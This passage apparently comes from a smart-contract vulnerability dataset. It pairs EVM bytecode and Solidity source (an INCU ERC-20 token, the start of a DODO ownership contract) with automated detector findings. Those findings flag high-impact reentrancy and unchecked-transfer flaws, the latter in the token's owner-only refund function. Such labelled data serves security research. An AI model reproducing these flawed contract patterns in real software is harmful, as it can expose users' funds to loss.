5050612b27565b81819350935050505b9091565b6000806000806000806000806000612b488a600d54600e54612d32565b9250925092506000612b5861281c565b90506000806000612b6b8e878787612dc8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612bd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612350565b905092915050565b6000808284612bec91906139df565b905083811015612c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2890613769565b60405180910390fd5b8091505092915050565b6000612c4561281c565b90506000612c5c8284612e5190919063ffffffff16565b9050612cb081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612d0d82600654612b9390919063ffffffff16565b600681905550612d2881600754612bdd90919063ffffffff16565b6007819055505050565b600080600080612d5e6064612d50888a612e5190919063ffffffff16565b6127d290919063ffffffff16565b90506000612d886064612d7a888b612e5190919063ffffffff16565b6127d290919063ffffffff16565b90506000612db182612da3858c612b9390919063ffffffff16565b612b9390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612de18589612e5190919063ffffffff16565b90506000612df88689612e5190919063ffffffff16565b90506000612e0f8789612e5190919063ffffffff16565b90506000612e3882612e2a8587612b9390919063ffffffff16565b612b9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612e645760009050612ec6565b60008284612e729190613a66565b9050828482612e819190613a35565b14612ec1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb8906137a9565b60405180910390fd5b809150505b92915050565b6000612edf612eda8461395e565b613939565b90508083825260208201905082856020860282011115612f0257612f01613d04565b5b60005b85811015612f325781612f188882612f3c565b845260208401935060208301925050600181019050612f05565b5050509392505050565b600081359050612f4b816141cb565b92915050565b600081519050612f60816141cb565b92915050565b60008083601f840112612f7c57612f7b613cff565b5b8235905067ffffffffffffffff811115612f9957612f98613cfa565b5b602083019150836020820283011115612fb557612fb4613d04565b5b9250929050565b600082601f830112612fd157612fd0613cff565b5b8135612fe1848260208601612ecc565b91505092915050565b600081359050612ff9816141e2565b92915050565b60008135905061300e816141f9565b92915050565b60006020828403121561302a57613029613d0e565b5b600061303884828501612f3c565b91505092915050565b60006020828403121561305757613056613d0e565b5b600061306584828501612f51565b91505092915050565b6000806040838503121561308557613084613d0e565b5b600061309385828601612f3c565b92505060206130a485828601612f3c565b9150509250929050565b6000806000606084860312156130c7576130c6613d0e565b5b60006130d586828701612f3c565b93505060206130e686828701612f3c565b92505060406130f786828701612fff565b9150509250925092565b6000806040838503121561311857613117613d0e565b5b600061312685828601612f3c565b925050602061313785828601612fff565b9150509250929050565b60008060006040848603121561315a57613159613d0e565b5b600084013567ffffffffffffffff81111561317857613177613d09565b5b61318486828701612f66565b9350935050602061319786828701612fea565b9150509250925092565b6000602082840312156131b7576131b6613d0e565b5b600082013567ffffffffffffffff8111156131d5576131d4613d09565b5b6131e184828501612fbc565b91505092915050565b600060208284031215613200576131ff613d0e565b5b600061320e84828501612fea565b91505092915050565b60006020828403121561322d5761322c613d0e565b5b600061323b84828501612fff565b91505092915050565b6000806000806080858703121561325e5761325d613d0e565b5b600061326c87828801612fff565b945050602061327d87828801612fff565b935050604061328e87828801612fff565b925050606061329f87828801612fff565b91505092959194509250565b60006132b783836132c3565b60208301905092915050565b6132cc81613af4565b82525050565b6132db81613af4565b82525050565b60006132ec8261399a565b6132f681856139bd565b93506133018361398a565b8060005b8381101561333257815161331988826132ab565b9750613324836139b0565b925050600181019050613305565b5085935050505092915050565b61334881613b06565b82525050565b61335781613b49565b82525050565b61336681613b5b565b82525050565b6000613377826139a5565b61338181856139ce565b9350613391818560208601613b91565b61339a81613d13565b840191505092915050565b60006133b26023836139ce565b91506133bd82613d24565b604082019050919050565b60006133d5603f836139ce565b91506133e082613d73565b604082019050919050565b60006133f8602a836139ce565b915061340382613dc2565b604082019050919050565b600061341b601c836139ce565b915061342682613e11565b602082019050919050565b600061343e6026836139ce565b915061344982613e3a565b604082019050919050565b60006134616022836139ce565b915061346c82613e89565b604082019050919050565b60006134846023836139ce565b915061348f82613ed8565b604082019050919050565b60006134a7601b836139ce565b91506134b282613f27565b602082019050919050565b60006134ca6016836139ce565b91506134d582613f50565b602082019050919050565b60006134ed6021836139ce565b91506134f882613f79565b604082019050919050565b60006135106020836139ce565b915061351b82613fc8565b602082019050919050565b60006135336029836139ce565b915061353e82613ff1565b604082019050919050565b60006135566025836139ce565b915061356182614040565b604082019050919050565b60006135796023836139ce565b91506135848261408f565b604082019050919050565b600061359c6024836139ce565b91506135a7826140de565b604082019050919050565b60006135bf6028836139ce565b91506135ca8261412d565b604082019050919050565b60006135e26026836139ce565b91506135ed8261417c565b604082019050919050565b61360181613b32565b82525050565b61361081613b3c565b82525050565b600060208201905061362b60008301846132d2565b92915050565b6000602082019050613646600083018461333f565b92915050565b6000602082019050613661600083018461334e565b92915050565b60006020820190508181036000830152613681818461336c565b905092915050565b600060208201905081810360008301526136a2816133a5565b9050919050565b600060208201905081810360008301526136c2816133c8565b9050919050565b600060208201905081810360008301526136e2816133eb565b9050919050565b600060208201905081810360008301526137028161340e565b9050919050565b6000602082019050818103600083015261372281613431565b9050919050565b6000602082019050818103600083015261374281613454565b9050919050565b6000602082019050818103600083015261376281613477565b9050919050565b600060208201905081810360008301526137828161349a565b9050919050565b600060208201905081810360008301526137a2816134bd565b9050919050565b600060208201905081810360008301526137c2816134e0565b9050919050565b600060208201905081810360008301526137e281613503565b9050919050565b6000602082019050818103600083015261380281613526565b9050919050565b6000602082019050818103600083015261382281613549565b9050919050565b600060208201905081810360008301526138428161356c565b9050919050565b600060208201905081810360008301526138628161358f565b9050919050565b60006020820190508181036000830152613882816135b2565b9050919050565b600060208201905081810360008301526138a2816135d5565b9050919050565b60006020820190506138be60008301846135f8565b92915050565b600060a0820190506138d960008301886135f8565b6138e6602083018761335d565b81810360408301526138f881866132e1565b905061390760608301856132d2565b61391460808301846135f8565b9695505050505050565b60006020820190506139336000830184613607565b92915050565b6000613943613954565b905061394f8282613bc4565b919050565b6000604051905090565b600067ffffffffffffffff82111561397957613978613ccb565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006139ea82613b32565b91506139f583613b32565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a2a57613a29613c3e565b5b828201905092915050565b6000613a4082613b32565b9150613a4b83613b32565b925082613a5b57613a5a613c6d565b5b828204905092915050565b6000613a7182613b32565b9150613a7c83613b32565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ab557613ab4613c3e565b5b828202905092915050565b6000613acb82613b32565b9150613ad683613b32565b925082821015613ae957613ae8613c3e565b5b828203905092915050565b6000613aff82613b12565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613b5482613b6d565b9050919050565b6000613b6682613b32565b9050919050565b6000613b7882613b7f565b9050919050565b6000613b8a82613b12565b9050919050565b60005b83811015613baf578082015181840152602081019050613b94565b83811115613bbe576000848401525b50505050565b613bcd82613d13565b810181811067ffffffffffffffff82111715613bec57613beb613ccb565b5b80604052505050565b6000613c0082613b32565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c3357613c32613c3e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f46656573206d75737420626520756e6465722032352500000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460008201527f68616e20302e3125000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d61785478416d6f756e74206c6f7765722074686160008201527f6e20302e31250000000000000000000000000000000000000000000000000000602082015250565b6141d481613af4565b81146141df57600080fd5b50565b6141eb81613b06565b81146141f657600080fd5b50565b61420281613b32565b811461420d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207de2cef29ad92444fb636abbfd29e2050a9981902cf87721c2bbbbf239ed326c64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,091 |
0x48fe9bc5bdb916fcb51404598020011bedede8ae
|
pragma solidity ^0.4.21;
/*
* Creator: INCU (InstaCuisine)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* InstaCuisine token smart contract.
*/
contract INCUToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10**8);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function INCUToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "InstaCuisine";
string constant public symbol = "INCU";
uint8 constant public decimals = 8;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a72565b005b34156103f057600080fd5b6103f8610c6d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca6565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d32565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610db9565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600c81526020017f496e73746143756973696e65000000000000000000000000000000000000000081525081565b60008061067f3385610d32565b148061068b5750600082145b151561069657600080fd5b6106a08383610f1a565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d684848461100c565b90505b9392505050565b600881565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a685761096367016345785d8a00006004546113f2565b8211156109735760009050610a6d565b6109bb6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140b565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a096004548361140b565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a6d565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad057600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0b57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb057600080fd5b5af11515610bbd57600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f494e43550000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d0157600080fd5b600560009054906101000a900460ff1615610d1f5760009050610d2c565b610d298383611429565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e5057600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561104957600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110d657600090506113eb565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561112557600090506113eb565b60008211801561116157508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611381576111ec600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f2565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b46000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f2565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133e6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140b565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561140057fe5b818303905092915050565b600080828401905083811015151561141f57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146657600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114b55760009050611675565b6000821180156114f157508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561160b5761153e6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f2565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c86000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140b565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820ec624e144627b3450b8f4280eaf8696a844496bbf39e41e6d561e80de60eceee0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,092 |
0xd9b825d16e09f28d0c715fe004364046e5524dbb
|
// File: contracts/lib/InitializableOwnable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.8.4;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
